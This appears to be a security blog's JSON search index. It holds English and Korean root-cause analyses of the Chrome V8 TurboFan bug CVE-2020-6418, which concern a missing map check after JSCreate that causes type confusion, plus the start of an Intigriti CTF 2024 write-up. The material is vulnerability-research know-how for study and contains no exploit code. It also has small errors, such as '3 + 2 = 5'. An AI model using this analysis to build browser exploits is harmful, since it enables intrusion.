kUnreliableDontNeedGuard or kReliableOrGuarded. ? kUnreliableDontNeedGuard : kReliableOrGuarded; DCHECK_EQ(maps_.empty(), result == NodeProperties::kNoReceiverMaps);}The map_state section processes values based on the return result of the InferReceiverMapsUnsafe() function. When the result is kUnreliableReceiverMaps, it is categorized as either kUnreliableDontNeedGuard or kReliableOrGuarded. Below is an explanation of these states and their reasoning: kUnreliableDontNeedGuard This state indicates that while the Map may change, a runtime check (Guard) is not necessary for safe execution. Meaning: The Map might change, but the change does not impact the computation results. This allows the program to safely proceed without adding additional runtime checks. Reason: The purpose of this approach is to maximize performance by avoiding unnecessary Guards. Even though the Map could change, the impact on the optimized code is considered negligible, and the risk is deemed acceptable. kReliableOrGuarded This state indicates that the Map is either stable or can be made stable by adding a runtime check (Guard) to ensure safety. Meaning: The Map is trusted to remain unchanged or, A Guard is added to monitor and ensure the Map’s stability during runtime. Reason: When there is potential for the Map to change in a way that could affect the computation results, adding a Guard ensures correctness. This state strikes a balance between performance and reliability by providing safeguards when necessary. kUnreliableDontNeedGuard refers to a state where the map might change, but it is considered safe not to add runtime checks (Guard).Let’s make it easier to understand with an example. Cases Where Map Changes Are Harmless 1.let arr = [1, 2, 3];Object.defineProperty(arr, 'custom', { value: 42 }); // Map changesarr.pop(); // Removes the last element of the array (works correctly regardless of the map change)Whether the second line exists or not, the last element of the arr array is still removed. This means that even if the map changes, the result remains the same. Therefore, the map change is deemed harmless.2.let obj = { a: 1, b: 2 };Object.defineProperty(obj, 'c', { value: 3, writable: false }); // Map changesconsole.log(obj.a + obj.b); // 1 + 2 = 3 (works correctly regardless of the map change)When adding and printing a and b, it doesn’t matter whether c is added or not.Thus, the map change is considered harmless.※ There are other examples, but since this is not the main focus, they are omitted.In the case as described above maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps) ? kUnreliableDontNeedGuard : kReliableOrGuarded;The map_state can be set to kUnreliableDontNeedGuard.Map inference is mainly performed during the optimization process in the Inlining phase, and JSCallReducer is responsible for optimizing function calls. For example, the code that performs map inference in the ReduceArrayPrototypePop() function, which optimizes Array.prototype.pop(), is as follows.Reduction JSCallReducer::ReduceArrayPrototypePop(Node* node) {... Node* receiver = NodeProperties::GetValueInput(node, 1); Node* effect = NodeProperties::GetEffectInput(node); Node* control = NodeProperties::GetControlInput(node); MapInference inference(broker(), receiver, effect); //create inference if (!inference.HaveMaps()) return NoChange(); MapHandles const&amp; receiver_maps = inference.GetMaps(); std::vector&lt;ElementsKind&gt; kinds; if (!CanInlineArrayResizingBuiltin(broker(), receiver_maps, &amp;kinds)) { return inference.NoChange(); } if (!dependencies()-&gt;DependOnNoElementsProtector()) UNREACHABLE(); inference.RelyOnMapsPreferStability(dependencies(), jsgraph(), &amp;effect, //call the function RelyOnMapsPreferStability() control, p.feedback());...}This shows a call to the inference function called RelyOnMapsPreferStability() The content of the function is as follows.bool MapInference::RelyOnMapsPreferStability( CompilationDependencies* dependencies, JSGraph* jsgraph, Node** effect, Node* control, const FeedbackSource&amp; feedback) { CHECK(HaveMaps()); if (Safe()) return false; // The insertion of the check node depends on the result of the safe() function. if (RelyOnMapsViaStability(dependencies)) return true; CHECK(RelyOnMapsHelper(nullptr, jsgraph, effect, control, feedback)); //The part where the check node is inserted return false;}The insertion of the Mapchecks node in the following RelyOnMapsHelper() function is determined based on the result returned by the safe() function. The content of the safe() function is as follows:bool MapInference::Safe() const { return maps_state_ != kUnreliableNeedGuard; }If we break down the process up to the RelyOnMapsPreferStability() function, when maps_state = kUnreliableNeedGuard, safe() returns false due to the if (Safe()) return false; part, and then the following Mapchecks section is executed, causing the map to be checked at runtime. On the other hand, if maps_state != kUnreliableNeedGuard, safe() returns true, and the if (Safe()) return false; statement returns false, meaning the Mapchecks section is not executed. In other words, the Mapchecks node is not inserted. The important point here is that map_state is classified into two categories. maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps) ? kUnreliableDontNeedGuard : kReliableOrGuarded;That is, in the case of kReliableOrGuarded, the Mapchecks node is not inserted. The fact that the Mapchecks node is not inserted means that at runtime, even if the Map of the object changes, we won’t be able to know about it. To explain this further:V8 handles object reads differently based on the type of the map. Below is the layout of the V8 Map.// Map layout:// +---------------+------------------------------------------------+// | _ Type _ | _ Description _ |// +---------------+------------------------------------------------+// | TaggedPointer | map - Always a pointer to the MetaMap root |// +---------------+------------------------------------------------+// | Int | The first int field |// `---+----------+------------------------------------------------+// | Byte | [instance_size] |// +----------+------------------------------------------------+// | Byte | If Map for a primitive type: |// | | native context index for constructor fn |// | | If Map for an Object type: |// | | inobject properties start offset in words |// +----------+------------------------------------------------+// | Byte | [used_or_unused_instance_size_in_words] |// | | For JSObject in fast mode this byte encodes |// | | the size of the object that includes only |// | | the used property fields or the slack size |// | | in properties backing store. |// +----------+------------------------------------------------+// | Byte | [visitor_id] |// +----+----------+------------------------------------------------+// | Int | The second int field |// `---+----------+------------------------------------------------+// | Short | [instance_type] |// +----------+------------------------------------------------+// | Byte | [bit_field] |// | | - has_non_instance_prototype (bit 0) |// | | - is_callable (bit 1) |// | | - has_named_interceptor (bit 2) |// | | - has_indexed_interceptor (bit 3) |// | | - is_undetectable (bit 4) |// | | - is_access_check_needed (bit 5) |// | | - is_constructor (bit 6) |// | | - has_prototype_slot (bit 7) |// +----------+------------------------------------------------+// | Byte | [bit_field2] |// | | - new_target_is_base (bit 0) |// | | - is_immutable_proto (bit 1) |// | | - unused bit (bit 2) |// | | - elements_kind (bits 3..7) |// +----+----------+------------------------------------------------+// | Int | [bit_field3] |// | | - enum_length (bit 0..9) |// | | - number_of_own_descriptors (bit 10..19) |// | | - is_prototype_map (bit 20) |// | | - is_dictionary_map (bit 21) |// | | - owns_descriptors (bit 22) |// | | - is_in_retained_map_list (bit 23) |// | | - is_deprecated (bit 24) |// | | - is_unstable (bit 25) |// | | - is_migration_target (bit 26) |// | | - is_extensible (bit 28) |// | | - may_have_interesting_symbols (bit 28) |// | | - construction_counter (bit 29..31) |// | | |// +****************************************************************+// | Int | On systems with 64bit pointer types, there |// | | is an unused 32bits after bit_field3 |// +****************************************************************+// | TaggedPointer | [prototype] |// +---------------+------------------------------------------------+// | TaggedPointer | [constructor_or_backpointer_or_native_context] |// +---------------+------------------------------------------------+// | TaggedPointer | [instance_descriptors] |// +****************************************************************+// ! TaggedPointer ! [layout_descriptors] !// ! ! Field is only present if compile-time flag !// ! ! FLAG_unbox_double_fields is enabled !// ! ! (basically on 64 bit architectures) !// +****************************************************************+// | TaggedPointer | [dependent_code] |// +---------------+------------------------------------------------+// | TaggedPointer | [prototype_validity_cell] |// +---------------+------------------------------------------------+// | TaggedPointer | If Map is a prototype map: |// | | [prototype_info] |// | | Else: |// | | [raw_transitions] |// +---------------+------------------------------------------------+Therefore, the way fields are read differs depending on whether the type is SMI or Double. This means that if an object initially had an SMI Map but its Map changes to Double via Jscreate at runtime, TurboFan won’t be aware of the change due to the absence of the Mapchecks node. As a result, the value, which is set as Double, may be accessed as if it were an SMI, leading to Type Confusion.patch2In the patch section, the line result = kUnreliableReceiverMaps; was added to allow checking the Map once again.Referencehttps://cwresearchlab.co.kr/entry/CVE-2020-6418-Incorrect-side-effect-modelling-for-JSCreate"
    } ,
  
    {
      "title"       : "CVE-2020-6418-Rootcause(KO)",
      "category"    : "Rootcause",
      "tags"        : "V8, 1-day, rootcause",
      "url"         : "./CVE-2020-6418-Rootcause(KO).html",
      "date"        : "2025-01-07 00:00:00 +0000",
      "description" : "CVE-2020-6418-Rootcause(KO)",
      "content"     : "Chrome v8 CVE-2020-6418의 Root cause에 대해 소개해보겠습니다.환경설정# install depot_toolscd ~git clone https://chromium.googlesource.com/chromium/tools/depot_tools.gitexport PATH=$HOME/depot_tools:$PATHecho 'export PATH=$HOME/depot_tools:$PATH' &gt;&gt; ~/.zshrc# get V8cd ~mkdir v8cd v8fetch v8cd v8git checkout bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07# build V8gclient sync -Dsudo apt install -y python ninja-buildbuild/install-build-deps.sh./tools/dev/gm.py x64.release사전지식해당 Root cause를 설명하기 위해서 먼저 필요한 개념들에 대해 먼저 소개해보겠습니다.Map InferenceMap Inference는 V8에서 최적화 과정에서 object의 map, 즉 type을 추론하는 작업을 합니다.이러한 작업을 하는 이유는 v8은 동적언어인 JS를 사용하기 때문에 Runtime에서 Map이 변경될수도 있습니다.이때 계속하여 Map 정보를 업데이트 해줘야 최적화를 진행 또는 유지할 수 있습니다.하나의 예시를 살펴보겠습니다. (v8에서 Debug 명령들을 사용하기 위해선 --allow-natives-syntax 옵션을 사용해줘야 합니다.Debug 명령어 예시 : %DebugPrint() , %SystemBreak() 등등)현재 해당 배열은 SMI 타입인 걸 확인할 수 있습니다. 이때 해당 배열의 0번 인덱스의 값을 1.1로 바꾸어 보면 SMI 타입이던 Map이 DOUBLE로 변경되는 걸 확인할 수 있습니다.(V8에선 더 큰 개념으로 타입이 변경됩니다.)Map Inference가 추론한 결과는 두 가지가 나올 수 있는데 다음과 같습니다. /* src/compiler/map-inference.h */// The MapInference class provides access to the \"inferred\" maps of an// {object}. This information can be either \"reliable\", meaning that the object// is guaranteed to have one of these maps at runtime, or \"unreliable\", meaning// that the object is guaranteed to have HAD one of these maps.//// The MapInference class does not expose whether or not the information is// reliable. A client is expected to eventually make the information reliable by// calling one of several methods that will either insert map checks, or record// stability dependencies (or do nothing if the information was already// reliable). reliable -&gt; Runtime에서 Map이 변경될 가능성이 없다면 reliable로 반환합니다 unreliable -&gt; Runtime에 Map이 변경될 가능성이 존재한다면 unreliable로 반환합니다.v8에는 Mapchecks라는 노드가 존재하는데 해당 노드의 역할은 Runtime에서 Mapchecks노드를 가지고 있는 객체의 Map을 확인해주는 역할을 합니다. reliable의 경우 위에서 이야기한대로 Map이 변경될 가능성이 없기 떄문에 다시 Map을 체크하는 루틴을 거치게 된다면 성능이 저하가 됩니다. 그러므로 reliable로 설정된 객체는 Mapchecks 노드를 삽입하지 않아 최적화를 합니다.unreliable은 최적화를 위해선 map이 항상 확인이 되야하기 때문에 Runtime에 Map이 변경될 가능성이 있는 unreliable한 객체는 Mapchecks 노드를 삽입하여 Runtime에 Map을 확인함으로써 최적화를 할 수 있게끔 합니다. ReceiverJS에서 receiver는 함수 호출의 대상이 되는 객체입니다. 예를 들어, 배열 arr에 대해 arr.pop()을 호출할 경우, pop()함수의 receiver는 arr입니다.Receiverex) arr.pop() 에선 arr이 receiver Sea of nodesSea of nodes는 V8에서 TurboFan이 최적화하는데 사용하는 기법으로 프로그램의 모든 연산과 데이터를 노드(node)로 표현하는 그래프 기반의 IR 방식입니다.예를 들어 JS코드가 아래와 같다면 let a = 10;let b = 20;let c = a + b;console.log(c);Sea of nodes로 표현하면 다음과 같습니다. a = 10 -&gt; node 1 b = 20 -&gt; node 2 c = a + b -&gt; node 3 (노드 1과 노드2에 의존) console.log(c) -&gt; node 4(노드 3에 의존) 위와 같은 결과를 노드들간의 의존성으로 표현하는 방식입니다. Sea of nodes의 간단한 동작순서는 이러합니다. 1.프론트 엔드:JavaScript 소스 코드를 바이트코드로 변환한 뒤, 이를 TurboFan에서 이해할 수 있는 IR로 변환 2.Sea of nodes 그래프 생성: 모든 연산과 값을 노드로 표현하여 그래프를 생성 이 그래프는 순서가 없으며, 단순히 노드들의 의존성 관계를 나타냄 3.최적화:상수 폴딩 , 공통 부분식 제거, 죽은 코드 제거, 루프 최적화 등 4.백엔드: 최적화된 노드 그래프를 기반으로 머신코드 생성Effect chainEffect chain은은 sea of nodes에서 어떤 함수의 변화 과정에 해당하는 부분을 연결 시킨 걸 함수의 Effect Chain이라고 합니다. 여기서 말하는 변화과정은 런타임 중 객체나 배열의 구조적 변경 또는 상태 변화로 인해 Map이 변할 수 있는 모든 작업을 포함합니다.변화과정의 예시: 배열의 요소 추가 or 제거 , 배열 크기 조정 , 요소 타입 변경 , 속성 추가 or 제거 , 속성 타입 변경 , 프로토 타입 변경 , 변수 선언 및 최가화 등등※더 많이 존재합니다patch1해당 취약점의 패치 내용은 그림의 빨간색 줄이 추가된 것이 전부입니다. (위치는 InferReceiverMapsUnsafe() 함수에서 JSCreate 노드를 처리하는 부분입니다.) 지금은 확인만 하고 넘어가고 설명은 Root cause 부분 설명이 끝난 후 다시 언급하겠습니다.Root cause// staticNodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe( JSHeapBroker* broker, Node* receiver, Node* effect, ZoneHandleSet&lt;Map&gt;* maps_return) { HeapObjectMatcher m(receiver); if (m.HasValue()) { HeapObjectRef receiver = m.Ref(broker); // We don't use ICs for the Array.prototype and the Object.prototype // because the runtime has to be able to intercept them properly, so // we better make sure that TurboFan doesn't outsmart the system here // by storing to elements of either prototype directly. // // TODO(bmeurer): This can be removed once the Array.prototype and // Object.prototype have NO_ELEMENTS elements kind. if (!receiver.IsJSObject() || !broker-&gt;IsArrayOrObjectPrototype(receiver.AsJSObject())) { if (receiver.map().is_stable()) { // The {receiver_map} is only reliable when we install a stability // code dependency. *maps_return = ZoneHandleSet&lt;Map&gt;(receiver.map().object()); return kUnreliableReceiverMaps; } } } InferReceiverMapsResult result = kReliableReceiverMaps; while (true) { switch (effect-&gt;opcode()) { case IrOpcode::kMapGuard: { Node* const object = GetValueInput(effect, 0); if (IsSame(receiver, object)) { *maps_return = MapGuardMapsOf(effect-&gt;op()); return result; } break; } case IrOpcode::kCheckMaps: { Node* const object = GetValueInput(effect, 0); if (IsSame(receiver, object)) { *maps_return = CheckMapsParametersOf(effect-&gt;op()).maps(); return result; } break; } case IrOpcode::kJSCreate: { if (IsSame(receiver, effect)) { base::Optional&lt;MapRef&gt; initial_map = GetJSCreateMap(broker, receiver); if (initial_map.has_value()) { *maps_return = ZoneHandleSet&lt;Map&gt;(initial_map-&gt;object()); return result; } // We reached the allocation of the {receiver}. return kNoReceiverMaps; } break; }해당 부분은 patch 내용이 있던 InferReceiverMapsUnsafe() 함수의 내용입니다.switch (effect-&gt;opcode()) switch로 effect가 어떠한 effect인지를 분류하여 나눠서 코드를 진행하는 모습을 볼 수 있습니다. 하지만 patch 부분은 Jscreate를 처리하는 부분에 존재했기 때문에 해당 부분만 확인하여 진행하도록 하겠습니다.NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe( JSHeapBroker* broker, Node* receiver, Node* effect, ZoneHandleSet&lt;Map&gt;* maps_return) {... InferReceiverMapsResult result = kReliableReceiverMaps; while (true) { switch (effect-&gt;opcode()) {... } // Stop walking the effect chain once we hit the definition of // the {receiver} along the {effect}s. if (IsSame(receiver, effect)) return kNoReceiverMaps; // Continue with the next {effect}. DCHECK_EQ(1, effect-&gt;op()-&gt;EffectInputCount()); effect = NodeProperties::GetEffectInput(effect); }}함수 내용에 대해 설명해보자면 InferReceiverMapsUnsafe()함수의 역할은 effect chain을 거슬러 올라가면서 receiver의 map을 추론하는 함수입니다. InferReceiverMapsUnsafe()함수의 인자를 확인해보면 사전지식에서 공부했던 receiver와 effect를 확인할 수 있습니다. 해당 함수의 인자에 들어가는 receiver는 map을 추론할 receiver에 해당하는 node를 이야기하고 effect는 현재 탐색을 시작할 node입니다. 해당 함수의 결과로 반환되는 값은 총 3가지가 있는데 아래와 같습니다./* src/compiler/node-properties.h */ // Walks up the {effect} chain to find a witness that provides map // information about the {receiver}. Can look through potentially // side effecting nodes. enum InferReceiverMapsResult { kNoReceiverMaps, // No receiver maps inferred. kReliableReceiverMaps, // Receiver maps can be trusted. kUnreliableReceiverMaps // Receiver maps might have changed (side-effect). };kNoReceiverMaps는 receiver의 map을 추론하지 못한 경우에 반환됩니다. kReliableReceiverMaps는 receiver의 map이 안정적이며, 변경되지 않을 것으로 신뢰 할 수 있는 경우에 반환됩니다. kUnreliableReceiverMaps는 receiver의 map이 변경되었거나 변경될 가능성이 있을 경우에 반환하게 됩니다. 아래는 취약점이 존재하는 부분인 Jscreate를 처리하는 부분입니다. NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe( JSHeapBroker* broker, Node* receiver, Node* effect, ZoneHandleSet&lt;Map&gt;* maps_return) {... InferReceiverMapsResult result = kReliableReceiverMaps; while (true) { switch (effect-&gt;opcode()) { //effect가 무엇인지 확인 ... case IrOpcode::kJSCreate: { //Jscreate노드라면 아래 코드를 실행 if (IsSame(receiver, effect)) { //만약 receiver = effect라면 해당 receiver의 초기맵을 가져오려고 함 base::Optional&lt;MapRef&gt; initial_map = GetJSCreateMap(broker, receiver); if (initial_map.has_value()) { *maps_return = ZoneHandleSet&lt;Map&gt;(initial_map-&gt;object()); return result; // 결과를 반환 } // We reached the allocation of the {receiver}. return kNoReceiverMaps; // 만약 초기맵을 가져오지 못했다면 KNoReceiverMaps를 반환함. } break; }... }... }}(IsSame(receiver, effect) 부분에서 receiver = effect라면 해당 receiver의 초기맵을 가져오는 루틴을 수행하고 만약 같지 않다면 아래 코드를 실행합니다. // Continue search for receiver map outside the loop. Since operations // inside the loop may change the map, the result is unreliable. effect = GetEffectInput(effect, 0); result = kUnreliableReceiverMaps; continue;해당 코드는 Effect chain 루프 부분이며 위치는 /src/compiler/node-properties.cc-443줄부터 존재합니다. 이 코드는 receiver와 effect가 같지 않을 때 실행이 되며 같아질때까지 실행되게 됩니다. 그 이유를 설명하자면 receiver와 effect가 같지 않다는 이야기는 아직 effect chain을 끝까지 거슬러 올라간 상태가 아닌 더 거슬러 올라갈 수 있다는 걸 의미하게 됩니다. 이 의미는 다른 effect 중에 map이 변경될수 있는 가능성이 존재할 수 있다는 이야기가 되어 모든 effect를 확인해야 합니다. 그래서 만약 receiver와 effect가 일치하지 않는다면 이 루프를 수행하게 됩니다. InferReceiverMapsUnsafe() 함수는 MapInference 클래스의 생성자에서 호출되는데 해당 코드는 아래와 같습니다.MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect) : broker_(broker), object_(object) { ZoneHandleSet&lt;Map&gt; maps; auto result = NodeProperties::InferReceiverMapsUnsafe(broker_, object_, effect, &amp;maps); //InferReceiverMapsUnsafe()함수의 결과를 반환받음. maps_.insert(maps_.end(), maps.begin(), maps.end()); // 반환받은 map을 저장함. maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps) // 반환받은 map의 상태를 확인하여 kUnreliableDontNeedGuard 또는 kReliableOrGuarded로 처리함. ? kUnreliableDontNeedGuard : kReliableOrGuarded; DCHECK_EQ(maps_.empty(), result == NodeProperties::kNoReceiverMaps);}map_state 부분을 보면 InferReceiverMapsUnsafe함수의 반환 값에 따라 처리되는 값이 나눠지는 것을 볼 수 있습니다. 만약 결과가 kUnreliableReceiverMaps라면 kUnreliableDontNeedGuard 또는 kReliableOrGuarded로 나누어지는데 kUnreliableDontNeedGuard와 kReliableOrGuarded가 뭔지 설명하고 그 이유에 대해 설명해보겠습니다. kUnreliableDontNeedGuard는 Map이 변경될 가능성이 있지만, 런타임 검사(Guard)를 추가하지 않아도 안전하다고 판단되는 상태를 이야기 합니다. 즉, map이 변경될 가능성은 있지만, 그 변경이 연산 결과에 영향을 미치지 않는다고 판단합니다. 이런 결과를 사용하는 이유는 Map이 변경될 가능성은 있지만, 이 변경이 최적화 코드의 동작에 영향을 미치지 않는다고 판단하여허용 가능한 위험으로 간주하고 Guard를 생략하여 성능을 극대화하기 위함입니다. kReliableOrGuarded는 Map이 안정적이거나, 런타임 검사(Guard)를 통해 안정성을 보장할 수 있는 상태를 이야기합니다. 즉, map이 변경되지 않을 것으로 신뢰할 수 있거나, 변경 가능성을 감지할 수 있는 Guard가 추가될 수 있음을 의미합니다. kUnreliableDontNeedGuard는 Map이 변경될 가능성이 있지만, 런타임 검사(Guard)를 추가하지 않아도 안전하다고 판단되는 상태를 이야기 합니다.라고 위에서 이야기 했었는데 이해하기 쉽게 예시를 들어 어떤 상황인지 보겠습니다. Map 변경이 무해한 경우 1.let arr = [1, 2, 3];Object.defineProperty(arr, 'custom', { value: 42 }); // Map이 변경됨arr.pop(); // 배열의 마지막 요소 제거 (map 변경과 무관하게 정상 작동)두번째 줄이 있거나 없거나 arr 배열에 마지막 요소가 제거되는 건 같습니다. 즉 map이 변경되더라도 결과는 같습니다. 그러므로 map 변경이 무해하다고 판단하게 됩니다. 2.let obj = { a: 1, b: 2 };Object.defineProperty(obj, 'c', { value: 3, writable: false }); // Map 변경console.log(obj.a + obj.b); // 3 + 2 = 5 (map 변경과 무관하게 정상 작동)a와 b를 더하고 출력하는데 있어 c가 추가되거나 추가되지 않아도 결과는 상관없습니다.그러므로 map변경이 무해하다고 판단합니다. ※ 다른 예시들도 있지만 이 부분이 주가 아니기 때문에 생략하겠습니다. 위와 같은 경우일떄 maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps) ? kUnreliableDontNeedGuard : kReliableOrGuarded;map_state를 kUnreliableDontNeedGuard로 받을 수 있게 됩니다.Map inference는 주로 최적화 과정 중 Inlining phase에서 JSCallReducer에 의해 수행이 되는데 JSCallReducer는 함수 호출을 최적화하는 역할을 합니다. 예를 들어, Array.prototype.pop()을 최적화하는 ReduceArrayPrototypePop() 함수에서 map inference를 수행하는 코드는 다음과 같습니다.Reduction JSCallReducer::ReduceArrayPrototypePop(Node* node) {... Node* receiver = NodeProperties::GetValueInput(node, 1); Node* effect = NodeProperties::GetEffectInput(node); Node* control = NodeProperties::GetControlInput(node); MapInference inference(broker(), receiver, effect); //inference 생성 if (!inference.HaveMaps()) return NoChange(); MapHandles const&amp; receiver_maps = inference.GetMaps(); std::vector&lt;ElementsKind&gt; kinds; if (!CanInlineArrayResizingBuiltin(broker(), receiver_maps, &amp;kinds)) { return inference.NoChange(); } if (!dependencies()-&gt;DependOnNoElementsProtector()) UNREACHABLE(); inference.RelyOnMapsPreferStability(dependencies(), jsgraph(), &amp;effect, //RelyOnMapsPreferStability()호출 control, p.feedback());...}RelyOnMapsPreferStability()라는 inference의 함수를 호출하는 모습입니다. 해당 함수의 내용은 아래와 같습니다. bool MapInference::RelyOnMapsPreferStability( CompilationDependencies* dependencies, JSGraph* jsgraph, Node** effect, Node* control, const FeedbackSource&amp; feedback) { CHECK(HaveMaps()); if (Safe()) return false; // safe() 함수의 결과에 따라 check 노드를 삽입하거나 삽입하지 않게 됨 if (RelyOnMapsViaStability(dependencies)) return true; CHECK(RelyOnMapsHelper(nullptr, jsgraph, effect, control, feedback)); //check노드를 삽입하는 부분 return false;}safe()함수가 반환하는 값에 따라서 아래의 RelyOnMapsHelper() 함수 부분에서 Mapchecks 노드를 삽입할지 안할지 여부가 결정됩니다. safe()함수의 내용은 아래와 같습니다.bool MapInference::Safe() const { return maps_state_ != kUnreliableNeedGuard; }함수를 살펴보면 maps_state가 kUnreliableNeedGuard이 아니라면 true를 맞다면 false를 반환합니다. RelyOnMapsPreferStability() 함수부분까지 풀어서 이야기를 해보면 maps_state = kUnreliableNeedGuard라면 falseif (Safe()) return false; 부분에 의해 아래 Mapchecks 부분이 실행되게 되어 Runtime에 Map을 검사받게 되고maps_state != kUnreliableNeedGuard이라면 safe()가 true가 되어 if (Safe()) return false; 부분이 false를 반환하게 되어 아래 Mapchecks 부분을 실행하지 않게 됩니다. 즉 Mapchecks노드를 삽입하지 않게 됩니다. 이때 중요한 점은 map_state가 2가지로 분류가 되었습니다. maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps) ? kUnreliableDontNeedGuard : kReliableOrGuarded;즉 kReliableOrGuarded 같은 경우엔 Mapchecks 노드가 삽입이 되지 않는다는 이야기입니다. Mapchecks노드가 삽입이 되지 않았다는 건 Runtime에서 해당 객체의 Map이 변경되어도 알 수 없다는 걸 뜻합니다. 이걸 조금 더 풀어 설명해보면 v8은 객체를 읽을 떄 map의 타입에 따라서 읽어오는 방법이 다릅니다. 아래는 v8 Map의 레이아웃입니다.// Map layout:// +---------------+------------------------------------------------+// | _ Type _ | _ Description _ |// +---------------+------------------------------------------------+// | TaggedPointer | map - Always a pointer to the MetaMap root |// +---------------+------------------------------------------------+// | Int | The first int field |// `---+----------+------------------------------------------------+// | Byte | [instance_size] |// +----------+------------------------------------------------+// | Byte | If Map for a primitive type: |// | | native context index for constructor fn |// | | If Map for an Object type: |// | | inobject properties start offset in words |// +----------+------------------------------------------------+// | Byte | [used_or_unused_instance_size_in_words] |// | | For JSObject in fast mode this byte encodes |// | | the size of the object that includes only |// | | the used property fields or the slack size |// | | in properties backing store. |// +----------+------------------------------------------------+// | Byte | [visitor_id] |// +----+----------+------------------------------------------------+// | Int | The second int field |// `---+----------+------------------------------------------------+// | Short | [instance_type] |// +----------+------------------------------------------------+// | Byte | [bit_field] |// | | - has_non_instance_prototype (bit 0) |// | | - is_callable (bit 1) |// | | - has_named_interceptor (bit 2) |// | | - has_indexed_interceptor (bit 3) |// | | - is_undetectable (bit 4) |// | | - is_access_check_needed (bit 5) |// | | - is_constructor (bit 6) |// | | - has_prototype_slot (bit 7) |// +----------+------------------------------------------------+// | Byte | [bit_field2] |// | | - new_target_is_base (bit 0) |// | | - is_immutable_proto (bit 1) |// | | - unused bit (bit 2) |// | | - elements_kind (bits 3..7) |// +----+----------+------------------------------------------------+// | Int | [bit_field3] |// | | - enum_length (bit 0..9) |// | | - number_of_own_descriptors (bit 10..19) |// | | - is_prototype_map (bit 20) |// | | - is_dictionary_map (bit 21) |// | | - owns_descriptors (bit 22) |// | | - is_in_retained_map_list (bit 23) |// | | - is_deprecated (bit 24) |// | | - is_unstable (bit 25) |// | | - is_migration_target (bit 26) |// | | - is_extensible (bit 28) |// | | - may_have_interesting_symbols (bit 28) |// | | - construction_counter (bit 29..31) |// | | |// +****************************************************************+// | Int | On systems with 64bit pointer types, there |// | | is an unused 32bits after bit_field3 |// +****************************************************************+// | TaggedPointer | [prototype] |// +---------------+------------------------------------------------+// | TaggedPointer | [constructor_or_backpointer_or_native_context] |// +---------------+------------------------------------------------+// | TaggedPointer | [instance_descriptors] |// +****************************************************************+// ! TaggedPointer ! [layout_descriptors] !// ! ! Field is only present if compile-time flag !// ! ! FLAG_unbox_double_fields is enabled !// ! ! (basically on 64 bit architectures) !// +****************************************************************+// | TaggedPointer | [dependent_code] |// +---------------+------------------------------------------------+// | TaggedPointer | [prototype_validity_cell] |// +---------------+------------------------------------------------+// | TaggedPointer | If Map is a prototype map: |// | | [prototype_info] |// | | Else: |// | | [raw_transitions] |// +---------------+------------------------------------------------+그렇기 때문에 타입이 SMI일 떄와 Double일떄 필드를 읽어오는 방법이 다릅니다. 이 뜻은 처음에 SMI의 Map을 가지고 있던 객체가 Runtime에 Jscreate를 통해 Map이 Double로 변경되게 되었지만 TurboFan은 Mapchecks노드가 없기 때문에 Map이 Double로 변경된걸 모르는 상태로 Double로 설정되어 있는 값을 SMI 형태로 접근하게 되어 Type confusion이 발생할 수 있게 됩니다.patch2패치부분에서 result = kUnreliableReceiverMaps; 를 추가하여 다시 한번 Map을 Check할 수 있게끔 하였습니다.Referencehttps://cwresearchlab.co.kr/entry/CVE-2020-6418-Incorrect-side-effect-modelling-for-JSCreate"
    } ,
  
    {
      "title"       : "Intigriti-CTF-2024-write-up",
      "category"    : "review",
      "tags"        : "CTF, Write up",
      "url"         : "./Intigriti-CTF-2024-write-up.html",
      "date"        : "2024-11-19 00:00:00 +0000",
      "description" : "Intigriti-CTF-2024-write-up",
      "content"     : "Last weekend, I participated in the Intigriti-CTF-2024, and it was really fun because there were so many problems of various types.I’d like to take some time to review the challenges I solved and the ones I attempted during the competition.The first category is the warmup. Since the scores were low, I thought I would solve them easily, but they turned out to be not that straightforward.Warm UpSanity CheckThis challenge was a simple one. Clicking the link redirected to the competition’s Discord server.By checking the Discord channel, the flag could be found, making it an easy and straightforward challenge.SocialThis challenge required checking the CTF’s Twitter, YouTube, and Reddit to find parts of the flag, which needed to be combined to solve the challenge.At first, I thought it would be easy, but in the case of Twitter, I couldn’t access certain pages without logging in.I wasted some time assuming the challenge was designed to be solvable without logging in.In the end, logging in was necessary.For Twitter, the required value was found in the mentions after logging in. 0110100000110000011100000011001101011111011110010011000001110101Next is YouTube.There was an issue where the required part could be found by sorting the comments by recent, but I managed to solve it this way.Next is Reddit.It’s not just about combining the parts; you also need to apply the correct decoding method to solve it.1.01101000001100000111000000110011010111110111100100110000011101012.5f336e6a30795f3.ZDRfYzdmIf you convert the first part to ASCII,SecondLastSo the flag becomes INTIGRITI{h0p3_y0u_3nj0y_d4_c7f}.Lost ProgramTODO: find lots of 😎🐛 on 🥷🥝🎮Using these hints, I figured out what they meant after some thought. The first emoji represented bug bounty, and the second referred to Ninja Kiwi. With that understanding, I constructed the flag accordingly.The correct flag is INTIGRITI{Ninja_Kiwi_Games}.IN Plain SightThis challenge was one I checked after the competition ended.When downloading the image, you could see a picture of a cat.Looking at the hex values, I noticed that the file contained a flag.png and identified the “PK” file signature, indicating that another file might be hidden inside.To investigate further, I used binwalk to analyze the file.By running binwalk on the file, you can see the PK file signature, indicating the presence of an embedded file.A zip file is visible in the results, but the flag.png file itself is not directly shown.The zip file was password-protected, making it inaccessible.I couldn’t solve it before the competition ended, but according to the write-up, here’s what happened:In HxD, upon closer inspection, you can find a specific phrase embedded in the file. Entering that value as the password allows you to extract the contents of the zip file.However, when you open the flag.png file, you’ll see that it’s just a blank white image.If you paint the background black in a program like Paint, the hidden flag becomes visible on the image.IrrORversibleWhen I first approached this challenge, I thought it might require a brute-force method. However, since there were no hints provided, I doubted that brute-forcing was the intended solution and suspected it might involve XOR operations instead.I attempted this problem but couldn’t solve it within the time limit.When you run the program, it outputs encrypted values based on the plaintext input you provide.This challenge involves inputting specific plaintext values and observing their corresponding encrypted outputs.This challenge requires understanding XOR operations. With XOR, the following properties hold:plaintext ^ key = encryptplaintext ^ encrypt = keyTherefore, by inputting a known plaintext and obtaining its encrypted output, 